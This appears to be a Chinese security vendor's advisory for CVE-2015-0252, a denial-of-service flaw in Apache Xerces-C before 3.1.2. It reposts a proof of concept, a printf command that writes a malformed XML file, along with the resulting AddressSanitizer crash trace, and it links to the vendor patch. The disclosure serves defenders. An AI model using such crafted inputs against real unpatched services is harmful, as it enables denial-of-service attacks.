当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Apache Xerces-C XML Parser < 3.1.2拒绝服务漏洞

     发表日期:2015-05-08 10:08:40

Apache Xerces-C XML Parser < 3.1.2拒绝服务漏洞
CVE-ID:CVE-2015-0252
发布日期:2015-05-04
更新日期:2015-05-06
受影响系统:
Apache Group Xerces C++ < 3.1.2
详细信息:
 
Xerces是由Apache组织所推动的一项XML文档解析开源项目,它目前有多种语言版本包括JAVA、C++、PERL、COM等。
 
 
 
Apache Xerces-C 3.1.2之前版本,internal/XMLReader.cpp存在安全漏洞,远程攻击者通过构造的XML数据,利用此漏洞可造成拒绝服务(分段错误及崩溃)。
 
 
来源:
vendor
测试方法:
警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!vendor ()提供了如下测试方法:
 
 
 
 
 
# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC
 
# Date: 2015-05-03
 
# Exploit Author: beford
 
# Vendor Homepage: http://xerces.apache.org/#xerces-c
 
# Version: Versions prior to 3.1.2
 
# Tested on: Ubuntu 15.04
 
# CVE : CVE-2015-0252
 
 
 
Apache Xerces-C XML Parser Crashes on Malformed Input
 
 
 
I believe this to be the same issue that was reported on CVE-2015-0252,
 
posting this in case anyone is interested in reproducing it.
 
 
 
Original advisory:
 
https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt
 
 
 
$ printf "\\xff\\xfe\\x00\\x00\\x3c" > file.xml
 
 
 
$ DOMPrint ./file.xml   # Ubuntu 15.04 libxerces-c3.1 package
 
Segmentation fault
 
 
 
$ ./DOMPrint ./file.xml # ASAN Enabled build
 
=================================================================
 
==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c
 
at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798
 
READ of size 1 at 0xb5d9d87c thread T0
 
    #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()
 
xercesc/internal/XMLReader.cpp:1719
 
    #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,
 
unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761
 
    #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()
 
xercesc/internal/XMLReader.cpp:576
 
    #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short
 
const*) xercesc/internal/XMLReader.cpp:1223
 
    #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short
 
const*) xercesc/internal/ReaderMgr.hpp:385
 
    #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)
 
xercesc/internal/XMLScanner.cpp:1608
 
    #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()
 
xercesc/internal/XMLScanner.cpp:1244
 
    #7 0x8d69220 in
 
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
 
xercesc/internal/IGXMLScanner.cpp:206
 
    #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
 
const*) xercesc/internal/XMLScanner.cpp:400
 
    #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
 
xercesc/internal/XMLScanner.cpp:408
 
    #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
 
xercesc/parsers/AbstractDOMParser.cpp:601
 
    #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
 
    #12 0xb6f5272d in __libc_start_main
 
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
 
    #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)
 
 
 
0xb5d9d87c is located 0 bytes to the right of 163964-byte region
 
[0xb5d75800,0xb5d9d87c)
 
allocated by thread T0 here:
 
    #0 0xb72c3ae4 in operator new(unsigned int)
 
(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)
 
    #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)
 
xercesc/internal/MemoryManagerImpl.cpp:40
 
    #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,
 
xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68
 
    #3 0x8daaaa7 in
 
xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)
 
xercesc/internal/IGXMLScanner2.cpp:1284
 
    #4 0x8d6912a in
 
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
 
xercesc/internal/IGXMLScanner.cpp:198
 
    #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
 
const*) xercesc/internal/XMLScanner.cpp:400
 
    #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
 
xercesc/internal/XMLScanner.cpp:408
 
    #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
 
xercesc/parsers/AbstractDOMParser.cpp:601
 
    #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
 
    #9 0xb6f5272d in __libc_start_main
 
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
 
 
 
SUMMARY: AddressSanitizer: heap-buffer-overflow
 
xercesc/internal/XMLReader.cpp:1719
 
xercesc_3_1::XMLReader::refreshRawBuffer()
解决办法:
厂商补丁:
 
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
 
 
http://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt
 
 
 
http://svn.apache.org/viewvc?view=revision&revision=1667870